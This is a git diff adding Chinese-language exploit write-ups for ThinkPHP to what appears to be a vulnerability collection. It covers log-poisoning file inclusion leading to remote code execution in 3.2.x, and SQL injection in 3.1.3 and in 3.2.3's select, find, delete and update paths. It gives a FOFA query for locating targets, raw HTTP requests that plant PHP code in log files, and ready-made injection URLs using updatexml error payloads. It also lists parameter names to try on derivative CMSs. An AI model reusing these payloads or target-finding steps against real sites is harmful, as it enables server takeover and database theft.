update thinkphp exp
@ -0,0 +1,251 @@
|
|||||||
|
# ThinkPHP3.2.x RCE漏洞
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
> ThinkPHP3.2.x
|
||||||
|
|
||||||
|
## FOFA
|
||||||
|
|
||||||
|
> title="ThinkPHP"
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
ThinkPHP3.2.x_assign方法第一个变量可控=>变量覆盖=>任意文件包含=>RCE
|
||||||
|
|
||||||
|
漏洞url:
|
||||||
|
|
||||||
|
```
|
||||||
|
http://x.x.x.x/index.php?m=Home&c=I ndex&a=index&value[_filename]=.\Application \Runtime\Logs\Home\21_06_30.log
|
||||||
|
```
|
||||||
|
|
||||||
|
在ThinkPHP3.2.3框架的程序中,如果要在模板中输出变量,需要在控制器中把变量传递给模板,系统提供assig
|
||||||
|
|
||||||
|
n方法对模板变量赋值,本漏洞的利用条件为assign方法的第一个变量可控。
|
||||||
|
|
||||||
|
下面是漏洞的demo代码:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
```
|
||||||
|
<?php
|
||||||
|
namespace Home\Controller;
|
||||||
|
use Think\Controller;
|
||||||
|
class IndexController extends Controller {
|
||||||
|
public function index($value=''){
|
||||||
|
$this->assign($value);
|
||||||
|
$this->display();
|
||||||
|
} }
|
||||||
|
```
|
||||||
|
|
||||||
|
#### demo代码说明:
|
||||||
|
|
||||||
|
如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php
|
||||||
|
|
||||||
|
因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:
|
||||||
|
|
||||||
|
> \Application\Home\View\Index\index.html
|
||||||
|
|
||||||
|
这里需要说明,模板渲染方法(display,fetch,show)都可以;这里fetch会有一些区别,因为fetch程序逻辑中会使用ob_start()打开缓冲区,使得PHP代码的数据块和echo()输出都会进入缓冲区而不会立刻输出,所以构造fetch方法对应的攻击代码想要输出的话,需要在攻击代码末尾带上exit()或die();
|
||||||
|
|
||||||
|
#### 漏洞攻击:
|
||||||
|
|
||||||
|
测试环境:
|
||||||
|
|
||||||
|
> ThinkPHP3.2.3完整版 Phpstudy2016 PHP-5.6.27 Apache Windows10
|
||||||
|
|
||||||
|
debug模式开启或不开启有一点区别,但是都可以。
|
||||||
|
|
||||||
|
> 1.debug模式关闭:
|
||||||
|
|
||||||
|
写入攻击代码到日志中。错误请求系统报错:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
请求数据包:
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Accept-Language: en-GB,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Connection: close
|
||||||
|
Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
```
|
||||||
|
|
||||||
|
日志文件路径(这里是默认配置的log文件路径,ThinkPHP的日志路径和日期相关):
|
||||||
|
|
||||||
|
> \Application\Runtime\Logs\Common\21_06_30.log
|
||||||
|
|
||||||
|
日志文件内容:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
> 构造攻击请求:
|
||||||
|
> http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
> 2.debug模式开启:
|
||||||
|
|
||||||
|
```
|
||||||
|
上面的错误请求日志方式同样可用。另外debug模式开启,正确请求的日志也会被记录的到日志中,但日志路径不一样。
|
||||||
|
```
|
||||||
|
|
||||||
|
请求数据包:
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Accept-Language: en-GB,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Connection: close
|
||||||
|
Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
```
|
||||||
|
|
||||||
|
日志文件路径(这里是默认配置的log文件路径):
|
||||||
|
|
||||||
|
> \Application\Runtime\Logs\Home\21_06_30.log
|
||||||
|
|
||||||
|
> 构造攻击请求:http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
> 3.寻找程序上传入口,上传文件
|
||||||
|
|
||||||
|
这种方式最可靠,上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可。
|
||||||
|
|
||||||
|
> http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
|
||||||
|
|
||||||
|
#### 0x03 代码分析
|
||||||
|
|
||||||
|
程序执行流程:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1.功能代码中的assign方法中第一个变量为可控变量:
|
||||||
|
|
||||||
|
**代码位置:\Application\Home\Controller\IndexController.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
2.可控变量进入assign方法赋值给$this→tVar变量:
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\View.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
3.赋值结束后进入display方法中,display方法开始解析并获取模板文件内容,此时模板文件路径和内容为空:
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\View.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
4.程序进入fetch方法中,传入的参数为空,程序会去根据配置获取默认的模板文件位置(./Application/Home/View/Index/index.html)。之后,系统配置的默认模板引擎为think,所以程序进入else分支,获取$this→tVar变量值赋值给$params,之后进入Hook::listen方法中。
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\View.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
5.listen方法处理后,进入exec方法中:
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\Hook.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
6.进入exec方法中,处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值。
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\Hook.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
7.程序进入run方法中,一系列判断后,进入else分支,调用Think\Template类中的fetch方法对变量$_data(为带有日志文件路径的变量值)进行处理。
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
8.进入Think\Template类中的fetch方法,获取缓存文件路径后,进入Storage的load方法中。
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\Template.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
9.跟进到Storage的load方法中,$_filename为之前获取的缓存文件路径,$var则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,之后include该日志文件路径,造成文件包含。
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
覆写后:
|
||||||
|
|
||||||
|

|
||||||
|
最终导致:
|
||||||
|
|
||||||
|
> include .\Application\Runtime\Logs\Home\21_06_30.log
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
#### 0x05 ThinkPHP3.2.*各版本之间的差异:
|
||||||
|
|
||||||
|
> 1.ThinkPHP_3.2和ThinkPHP_3.2.1
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php 第68-79行**
|
||||||
|
|
||||||
|
```
|
||||||
|
/**
|
||||||
|
* 加载文件
|
||||||
|
* @access public
|
||||||
|
* @param string $filename 文件名
|
||||||
|
* @param array $vars 传入变量
|
||||||
|
* @return void
|
||||||
|
*/
|
||||||
|
public function load($filename,$vars=null){
|
||||||
|
if(!is_null($vars))
|
||||||
|
extract($vars, EXTR_OVERWRITE);
|
||||||
|
include $filename;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
http://x.x.x.x/index.php?m=Home&c=Index&a=index&value[filename]=.\
|
||||||
|
```
|
||||||
|
|
||||||
|
> 2.ThinkPHP_3.2.2和ThinkPHP_3.2.3
|
||||||
|
|
||||||
|
**代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php**
|
||||||
|
|
||||||
|
```
|
||||||
|
/** * 加载文件 * @access public * @param string $filename 文件名 * @param array $vars 传入变量 * @return void */ public function load($_filename,$vars=null){ if(!is_null($vars)) extract($vars, EXTR_OVERWRITE); include $_filename; }
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=.\
|
||||||
|
```
|
||||||
|
|
||||||
|
> 3.限定条件下参数的收集
|
||||||
|
|
||||||
|
很多利用Thinkphp二开的cms,value的值不确定,以下列出常见的:
|
||||||
|
|
||||||
|
```
|
||||||
|
paramnamevaluearrayarrinfolistpagemenusvardatamoudlemodule
|
||||||
|
```
|
||||||
|
|
||||||
|
最终payload例如:
|
||||||
|
|
||||||
|
```
|
||||||
|
http://127.0.0.1/index.php?m=Home&c=Index&a=index&info[_filename]=.\
|
||||||
|
```
|
After Width: | Height: | Size: 115 KiB |
After Width: | Height: | Size: 172 KiB |
After Width: | Height: | Size: 56 KiB |
After Width: | Height: | Size: 130 KiB |
After Width: | Height: | Size: 208 KiB |
After Width: | Height: | Size: 140 KiB |
After Width: | Height: | Size: 144 KiB |
After Width: | Height: | Size: 148 KiB |
After Width: | Height: | Size: 174 KiB |
After Width: | Height: | Size: 186 KiB |
After Width: | Height: | Size: 238 KiB |
After Width: | Height: | Size: 231 KiB |
After Width: | Height: | Size: 293 KiB |
After Width: | Height: | Size: 198 KiB |
After Width: | Height: | Size: 183 KiB |
After Width: | Height: | Size: 159 KiB |
After Width: | Height: | Size: 235 KiB |
@ -0,0 +1,101 @@
|
|||||||
|
# Thinkphp 3.1.3 sql注入漏洞
|
||||||
|
|
||||||
|
## 一、漏洞简介
|
||||||
|
|
||||||
|
## 二、漏洞影响
|
||||||
|
|
||||||
|
Thinkphp 3.1.3
|
||||||
|
|
||||||
|
## 三、复现过程
|
||||||
|
|
||||||
|
首先在网上下载对应的压缩包。
|
||||||
|
|
||||||
|
漏洞位于`ThinkPHP/Lib/Core/Model.class.php` 文件的parseSql函数
|
||||||
|
|
||||||
|
将这一条修复语句注释后开始一步步复现
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
在ThinkPHP目录下创建app文件夹后创建index.php
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
访问相应页面,显示这个则说明成功。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
成功后app文件夹下会生成工程文件
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后开始配置数据库(在app/conf/config.php下配置)
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
return array(
|
||||||
|
//'配置项'=>'配置值'
|
||||||
|
// 添加数据库配置信息
|
||||||
|
'DB_TYPE' => 'mysql', // 数据库类型
|
||||||
|
'DB_HOST' => 'localhost', // 服务器地址
|
||||||
|
'DB_NAME' => 'security', // 数据库名
|
||||||
|
'DB_USER' => 'root', // 用户名
|
||||||
|
'DB_PWD' => 'root', // 密码
|
||||||
|
'DB_PORT' => 3306, // 端口
|
||||||
|
'DB_PREFIX' => 'think_', // 数据库表前缀
|
||||||
|
);
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
下一步开始为模块定义一个控制器类:`IndexAction.class.php`。命名规范(模块名+Action.class.php)
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
// 本类由系统自动生成,仅供测试用途
|
||||||
|
class IndexAction extends Action {
|
||||||
|
public function index(){
|
||||||
|
//$this->name = 'thinkphp'; // 进行模板变量赋值
|
||||||
|
//$this->display();
|
||||||
|
|
||||||
|
$Data = M('Data'); // 实例化Data数据模型
|
||||||
|
$this->data = $Data->select();
|
||||||
|
$this->display();
|
||||||
|
|
||||||
|
$model=M('think_data');
|
||||||
|
$m=$model->query('select * from think_data where id="%s"',array($_GET['id']));
|
||||||
|
dump($m);exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
创建视图:在`./Tpl`下创建`Index/index.html`
|
||||||
|
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
//<p>hello, {$name}!</p>
|
||||||
|
<volist name="data" id="vo">
|
||||||
|
{$vo.id}--{$vo.data}<br/>
|
||||||
|
</volist>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
> 在浏览器访问
|
||||||
|
|
||||||
|
`https://www.0-sec.org:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/`
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
`https://www.0-sec.org:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/?id=1" or 1 –`
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
复现结束
|
||||||
|
|
||||||
|
## 参考连接
|
||||||
|
|
||||||
|
> https://www.freesion.com/article/3289785672/
|
After Width: | Height: | Size: 130 KiB |
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 111 KiB |
After Width: | Height: | Size: 121 KiB |
After Width: | Height: | Size: 36 KiB |
After Width: | Height: | Size: 60 KiB |
@ -0,0 +1,198 @@
|
|||||||
|
Thinkphp 3.2.3 select&find&delete 注入漏洞
|
||||||
|
==========================================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
\<= 3.2.3
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 漏洞分析
|
||||||
|
|
||||||
|
通过github上的commit
|
||||||
|
对比其实可以粗略知道,此次更新主要是在`ThinkPHP/Library/Think/Model.class.php`文件中,其中对于`delete`,`find`,`select`三个函数进行了修改。
|
||||||
|
|
||||||
|
`delete`函数
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
`select`函数
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
`find`函数
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
对比三个方法修改的地方都有一个共同点:
|
||||||
|
|
||||||
|
> 把外部传进来的`$options`,修改为`$this->options`,同时不再使用`$this->_parseOptions`对于`$options`进行表达式分析。
|
||||||
|
|
||||||
|
思考是因为`$options`可控,再经过`_parseOptions`函数之后产生了sql注入。
|
||||||
|
|
||||||
|
### 一 select 和 find 函数
|
||||||
|
|
||||||
|
以`find`函数为例进行分析(`select`代码类似),该函数可接受一个`$options`参数,作为查询数据的条件。
|
||||||
|
|
||||||
|
当`$options`为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:
|
||||||
|
|
||||||
|
if (is_numeric($options) || is_string($options)) {
|
||||||
|
$where[$this->getPk()] = $options;
|
||||||
|
$options = array();
|
||||||
|
$options['where'] = $where;
|
||||||
|
}
|
||||||
|
|
||||||
|
同时提供了对复合主键的查询,看到判断:
|
||||||
|
|
||||||
|
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
|
||||||
|
// 根据复合主键查询
|
||||||
|
......
|
||||||
|
}
|
||||||
|
|
||||||
|
要进入复合主键查询代码,需要满足`$options`为数组同时`$pk`主键也要为数组,但这个对于表只设置一个主键的时候不成立。
|
||||||
|
|
||||||
|
那么就可以使`$options`为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入`_parseOptions`进行解析。
|
||||||
|
|
||||||
|
if (is_numeric($options) || is_string($options)) {//$options为数组不进入
|
||||||
|
$where[$this->getPk()] = $options;
|
||||||
|
$options = array();
|
||||||
|
$options['where'] = $where;
|
||||||
|
}
|
||||||
|
// 根据复合主键查找记录
|
||||||
|
$pk = $this->getPk();
|
||||||
|
if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入
|
||||||
|
......
|
||||||
|
}
|
||||||
|
// 总是查找一条记录
|
||||||
|
$options['limit'] = 1;
|
||||||
|
// 分析表达式
|
||||||
|
$options = $this->_parseOptions($options); //解析表达式
|
||||||
|
// 判断查询缓存
|
||||||
|
.....
|
||||||
|
$resultSet = $this->db->select($options); //底层执行
|
||||||
|
|
||||||
|
之后跟进`_parseOptions`方法,(分析见代码注释)
|
||||||
|
|
||||||
|
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
|
||||||
|
$options = array_merge($this->options, $options);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
|
||||||
|
// 自动获取表名
|
||||||
|
$options['table'] = $this->getTableName();
|
||||||
|
$fields = $this->fields;
|
||||||
|
} else {
|
||||||
|
// 指定数据表 则重新获取字段列表 但不支持类型检测
|
||||||
|
$fields = $this->getDbFields(); //设置了进这里
|
||||||
|
}
|
||||||
|
|
||||||
|
// 数据表别名
|
||||||
|
if (!empty($options['alias'])) {//判断是否设置了数据表别名
|
||||||
|
$options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
|
||||||
|
}
|
||||||
|
// 记录操作的模型名称
|
||||||
|
$options['model'] = $this->name;
|
||||||
|
|
||||||
|
// 字段类型验证
|
||||||
|
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
|
||||||
|
// 对数组查询条件进行字段类型检查
|
||||||
|
......
|
||||||
|
}
|
||||||
|
// 查询过后清空sql表达式组装 避免影响下次查询
|
||||||
|
$this->options = array();
|
||||||
|
// 表达式过滤
|
||||||
|
$this->_options_filter($options);
|
||||||
|
return $options;
|
||||||
|
|
||||||
|
`$options`我们可控,那么就可以控制为数组类型,传入`$options['table']`或`$options['alias']`等等,只要提层不进行过滤都是可行的。
|
||||||
|
|
||||||
|
同时我们可以不设置`$options['where']`或者设置`$options['where']`的值为字符串,可绕过字段类型的验证。
|
||||||
|
|
||||||
|
可以看到在整个对`$options`的解析中没有过滤,直接返回,跟进到底层`ThinkPHP\Libray\Think\Db\Diver.class.php`,找到`select`方法,继续跟进最后来到`parseSql`方法,对`$options`的值进行替换,解析。
|
||||||
|
|
||||||
|
因为`$options['table']`或`$options['alias']`都是由`parseTable`函数进行解析,跟进:
|
||||||
|
|
||||||
|
if (is_array($tables)) {//为数组进
|
||||||
|
// 支持别名定义
|
||||||
|
......
|
||||||
|
} elseif (is_string($tables)) {//不为数组进
|
||||||
|
$tables = array_map(array($this, 'parseKey'), explode(',', $tables));
|
||||||
|
}
|
||||||
|
return implode(',', $tables);
|
||||||
|
|
||||||
|
当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。
|
||||||
|
|
||||||
|
同时`$options['where']`也一样,看到`parseWhere`函数
|
||||||
|
|
||||||
|
$whereStr = '';
|
||||||
|
if (is_string($where)) {
|
||||||
|
// 直接使用字符串条件
|
||||||
|
$whereStr = $where; //直接返回了,没有任何过滤
|
||||||
|
} else {
|
||||||
|
// 使用数组表达式
|
||||||
|
......
|
||||||
|
}
|
||||||
|
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
|
||||||
|
|
||||||
|
### 二 delete函数
|
||||||
|
|
||||||
|
`delete`函数有些不同,主要是在解析完`$options`之后,还对`$options['where']`判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。
|
||||||
|
|
||||||
|
......
|
||||||
|
// 分析表达式
|
||||||
|
$options = $this->_parseOptions($options);
|
||||||
|
if (empty($options['where'])) { //注意这里,还判断了一下$options['where']是否为空,为空直接返回,不再执行下面的代码。
|
||||||
|
// 如果条件为空 不进行删除操作 除非设置 1=1
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (is_array($options['where']) && isset($options['where'][$pk])) {
|
||||||
|
$pkValue = $options['where'][$pk];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (false === $this->_before_delete($options)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$result = $this->db->delete($options);
|
||||||
|
if (false !== $result && is_numeric($result)) {
|
||||||
|
$data = array();
|
||||||
|
if (isset($pkValue)) {
|
||||||
|
$data[$pk] = $pkValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->_after_delete($data, $options);
|
||||||
|
}
|
||||||
|
// 返回删除记录个数
|
||||||
|
return $result;
|
||||||
|
|
||||||
|
### 漏洞复现
|
||||||
|
|
||||||
|
针对`select()` 和`find()`方法
|
||||||
|
,有很多地方可注,这里主要列举三个`table`,`alias`,`where`,更多还请自行跟踪一下`parseSql`的各个`parseXXX`方法,目测都是可行的,比如`having`,`group`等。
|
||||||
|
|
||||||
|
table:http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
|
||||||
|
|
||||||
|
alias:http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
|
||||||
|
|
||||||
|
where: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
而`delete()`方法的话同样,这里粗略举三个例子,`table`,`alias`,`where`,但使用`table`和`alias`的时候,同时还必须保证`where`不为空(详细原因后面会说)
|
||||||
|
|
||||||
|
where: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
|
||||||
|
|
||||||
|
alias: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
|
||||||
|
|
||||||
|
table: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> <https://xz.aliyun.com/t/2629#toc-1>
|
After Width: | Height: | Size: 234 KiB |
After Width: | Height: | Size: 283 KiB |
After Width: | Height: | Size: 287 KiB |
After Width: | Height: | Size: 86 KiB |
After Width: | Height: | Size: 89 KiB |
@ -0,0 +1,320 @@
|
|||||||
|
Thinkphp 3.2.3 update注入漏洞
|
||||||
|
=============================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列,由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
\<= 3.2.3
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
这个问题很早之前就注意到了,只是一直没找到更常规的写法去导致注入的产生,在挖掘框架漏洞的标准是在使用官方的标准开发方式的前提下也会产生可以用的漏洞,这样才算框架级漏洞,跟普通的业务代码漏洞是有严格界线的。
|
||||||
|
|
||||||
|
thinkphp系列框架过滤表达式注入多半采用I函数去调用think\_filter
|
||||||
|
|
||||||
|
function think_filter(&$value){
|
||||||
|
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
|
||||||
|
|
||||||
|
有没有相关tips来达到I函数绕过呢?是可以的。
|
||||||
|
|
||||||
|
<http://document.thinkphp.cn/manual_3_2.html#update_data>
|
||||||
|
|
||||||
|
一般按照官方的写法,thinkphp提供了数据库链式操作,其中包含连贯操作和curd操作,在进行数据库CURD操作去更新数据的时候:
|
||||||
|
举例update数据操作。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
where制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。
|
||||||
|
|
||||||
|
public function where($where,$parse=null){
|
||||||
|
if(!is_null($parse) && is_string($where)) {
|
||||||
|
if(!is_array($parse)) {
|
||||||
|
$parse = func_get_args();
|
||||||
|
array_shift($parse);
|
||||||
|
}
|
||||||
|
$parse = array_map(array($this->db,'escapeString'),$parse);
|
||||||
|
$where = vsprintf($where,$parse);
|
||||||
|
}elseif(is_object($where)){
|
||||||
|
$where = get_object_vars($where);
|
||||||
|
}
|
||||||
|
if(is_string($where) && '' != $where){
|
||||||
|
$map = array();
|
||||||
|
$map['_string'] = $where;
|
||||||
|
$where = $map;
|
||||||
|
}
|
||||||
|
if(isset($this->options['where'])){
|
||||||
|
$this->options['where'] = array_merge($this->options['where'],$where);
|
||||||
|
}else{
|
||||||
|
$this->options['where'] = $where;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this;
|
||||||
|
}
|
||||||
|
|
||||||
|
通过where方法获取where()链式中进来的参数值,并对参数进行检查,是否为字符串,tp框架默认是对字符串进行过滤的
|
||||||
|
|
||||||
|
public function save($data='',$options=array()) {
|
||||||
|
if(empty($data)) {
|
||||||
|
// 没有传递数据,获取当前数据对象的值
|
||||||
|
if(!empty($this->data)) {
|
||||||
|
$data = $this->data;
|
||||||
|
// 重置数据
|
||||||
|
$this->data = array();
|
||||||
|
}else{
|
||||||
|
$this->error = L('_DATA_TYPE_INVALID_');
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 数据处理
|
||||||
|
$data = $this->_facade($data);
|
||||||
|
if(empty($data)){
|
||||||
|
// 没有数据则不执行
|
||||||
|
$this->error = L('_DATA_TYPE_INVALID_');
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// 分析表达式
|
||||||
|
$options = $this->_parseOptions($options);
|
||||||
|
$pk = $this->getPk();
|
||||||
|
if(!isset($options['where']) ) {
|
||||||
|
// 如果存在主键数据 则自动作为更新条件
|
||||||
|
if (is_string($pk) && isset($data[$pk])) {
|
||||||
|
$where[$pk] = $data[$pk];
|
||||||
|
unset($data[$pk]);
|
||||||
|
} elseif (is_array($pk)) {
|
||||||
|
// 增加复合主键支持
|
||||||
|
foreach ($pk as $field) {
|
||||||
|
if(isset($data[$field])) {
|
||||||
|
$where[$field] = $data[$field];
|
||||||
|
} else {
|
||||||
|
// 如果缺少复合主键数据则不执行
|
||||||
|
$this->error = L('_OPERATION_WRONG_');
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
unset($data[$field]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!isset($where)){
|
||||||
|
// 如果没有任何更新条件则不执行
|
||||||
|
$this->error = L('_OPERATION_WRONG_');
|
||||||
|
return false;
|
||||||
|
}else{
|
||||||
|
$options['where'] = $where;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(is_array($options['where']) && isset($options['where'][$pk])){
|
||||||
|
$pkValue = $options['where'][$pk];
|
||||||
|
}
|
||||||
|
if(false === $this->_before_update($data,$options)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$result = $this->db->update($data,$options);
|
||||||
|
if(false !== $result && is_numeric($result)) {
|
||||||
|
if(isset($pkValue)) $data[$pk] = $pkValue;
|
||||||
|
$this->_after_update($data,$options);
|
||||||
|
}
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
|
||||||
|
再来到save方法,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到\_parseOptions表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update
|
||||||
|
|
||||||
|
我们这里先直接看框架的where子单元函数,之前网上公开的exp表达式注入就是从这里分析出来的结论:
|
||||||
|
|
||||||
|
Thinkphp/Library/Think/Db/Driver.class.php
|
||||||
|
|
||||||
|
// where子单元分析
|
||||||
|
protected function parseWhereItem($key,$val) {
|
||||||
|
$whereStr = '';
|
||||||
|
if(is_array($val)) {
|
||||||
|
if(is_string($val[0])) {
|
||||||
|
$exp = strtolower($val[0]);
|
||||||
|
